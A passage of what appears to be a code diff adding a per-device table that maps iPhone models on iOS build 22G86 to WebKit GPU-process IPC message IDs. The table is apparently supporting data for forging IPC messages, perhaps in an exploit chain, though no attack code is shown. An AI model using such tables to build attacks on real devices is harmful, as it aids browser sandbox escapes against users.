RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G86": { + 